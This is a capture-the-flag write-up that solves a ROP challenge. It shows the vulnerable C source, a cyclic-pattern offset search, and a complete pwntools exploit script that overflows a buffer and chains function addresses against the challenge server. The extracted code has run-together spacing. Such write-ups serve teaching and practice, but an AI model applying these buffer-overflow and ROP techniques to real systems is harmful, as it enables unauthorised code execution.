The same challenge, but this time we need ot build a ROP chain.
voidquiz() { FILE *fp =fopen("flag.txt","r");char flag[100];if (fp ==NULL) {puts("Sorry, all my stuff's a mess.");puts("I'll get around to grading your quiz sometime.");puts("[If you are seeing this on the remote server, please contact admin].");exit(1); }fgets(flag,sizeof(flag), fp);if (knows_logic && knows_algebra && knows_functions) {puts("Alright, you passed this quiz.");puts("Here's your prize:");puts(flag); } else {puts("Not there yet...");puts("Study some more!"); }}
We can't just jump to quiz() directly, since we need to make knows_logic, knows_algebra, and knows_functions True. Each of these variables are only set within their corresponding functions: logic(), algebra() and functions().
If we build a ROP chain as follows, we can control the return addresses of subsequent returns.
Again, we will have to bypass the strcmp() check:
if (strcmp(response,"i will get an A")) {puts("I'm sorry, but you obviously don't care about grades.");puts("Therefore, you aren't motivated enough to be in our class.");puts("Goodbye.");exit(1);}
Prepare our cyclic pattern payload:
python -c "print 'i will get an A' + '\x00' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'" > ipt.txt
We find that the offset is 56.
We find the function addresses:
logic: 0x00401236
algebra: 0x00401336
functions: 0x0040144d
quiz: 0x00401544
from pwn import*logic =0x00401236algebra =0x00401336functions =0x0040144dquiz =0x00401544logic =p64(logic)algebra =p64(algebra)functions =p64(functions)quiz =p64(quiz)offset =56payload =b"i will get an A"payload +=b"\x00"# Build the ROP chainpayload +=b"A"* offsetpayload += quizpayload += logicpayload += quizpayload += algebrapayload += quizpayload += functionspayload += quizprint(payload)withopen('payload', 'wb')as f: f.write(payload)conn =remote('bin.bcactf.com', 49160)print(conn.recv())print(conn.recv())print("\nSending payload...")conn.send(payload +b"\n")print(conn.recv())conn.interactive()conn.close()
Now, we get an interactive connection where we will first jump to logic(), then algebra(), then functions().
We just have to figure out the appropriate values to pass the checks.
So, from (q != s) && s, we know s must be 1, q must be 0.
Then, from (p || q || !r) && (!p || r || !s), we have (p || 0 || !r) && (!p || r || 0), which is (p || !r) && (!p || r). Either p = r = 0 or p = r = 1 works.
voidfunctions() {int a, b, c;printf("a: ");scanf("%d",&a);printf("b: ");scanf("%d",&b);printf("c: ");scanf("%d",&c);int vertex_x =-b / (2*a);int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;int discriminant = b * b -4* a * c; knows_functions = (vertex_x ==2) && (vertex_y ==-2) && (discriminant ==16);}
The values seemed pretty small, so a bruteforce script easily gets the values.
for a inrange(-10, 10):if a ==0:continuefor b inrange(-10, 10):for c inrange(-10, 10): vertex_x =-b / (2*a) vertex_y = a * vertex_x * vertex_x + b * vertex_x + c discriminant = b * b -4* a * cif (vertex_x ==2) and (vertex_y ==-2) and (discriminant ==16):print(a, b, c)break